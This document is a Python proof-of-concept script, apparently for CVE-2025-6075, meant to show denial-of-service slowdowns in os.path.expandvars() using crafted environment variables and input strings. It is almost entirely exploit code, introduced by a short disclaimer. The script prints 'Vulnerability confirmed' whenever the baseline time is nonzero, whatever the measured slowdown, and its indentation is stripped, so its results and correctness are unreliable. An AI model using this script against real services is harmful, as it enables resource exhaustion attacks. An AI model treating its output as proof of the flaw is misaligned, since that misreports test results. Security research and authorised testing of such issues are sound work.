The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2025-6075 PoC - Python os.path.expandvars() Performance Degradation
This PoC demonstrates the performance degradation when os.path.expandvars()
processes user-controlled input with specially crafted environment variables.
"""
import os
import time
import string
def measure_expandvars_time(input_string, iterations=1000):
"""Measure the time taken by os.path.expandvars()"""
start = time.time()
for _ in range(iterations):
os.path.expandvars(input_string)
end = time.time()
return end - start
def generate_malicious_env_vars():
"""Generate environment variables that trigger the vulnerability"""
# Create environment variables with special patterns
for i in range(100):
# Pattern that triggers quadratic behavior
var_name = 'A' * i + '$'
var_value = 'X' * 100
os.environ[var_name] = var_value
def main():
print("CVE-2025-6075 PoC - os.path.expandvars() Performance Degradation")
print("=" * 70)
# Normal case
normal_input = "$HOME/path/to/file.txt"
normal_time = measure_expandvars_time(normal_input)
print(f"Normal case time: {normal_time:.4f} seconds")
# Setup malicious environment variables
print("\nSetting up malicious environment variables...")
generate_malicious_env_vars()
# Malicious case - triggers performance degradation
malicious_input = "$" + "A" * 99 + "$/path/to/file.txt"
malicious_time = measure_expandvars_time(malicious_input)
print(f"Malicious case time: {malicious_time:.4f} seconds")
# Calculate performance ratio
if normal_time > 0:
ratio = malicious_time / normal_time
print(f"\nPerformance degradation ratio: {ratio:.2f}x")
print("Vulnerability confirmed: Significant performance degradation detected!")
# Cleanup
for i in range(100):
var_name = 'A' * i + '$'
if var_name in os.environ:
del os.environ[var_name]
if __name__ == "__main__":
main()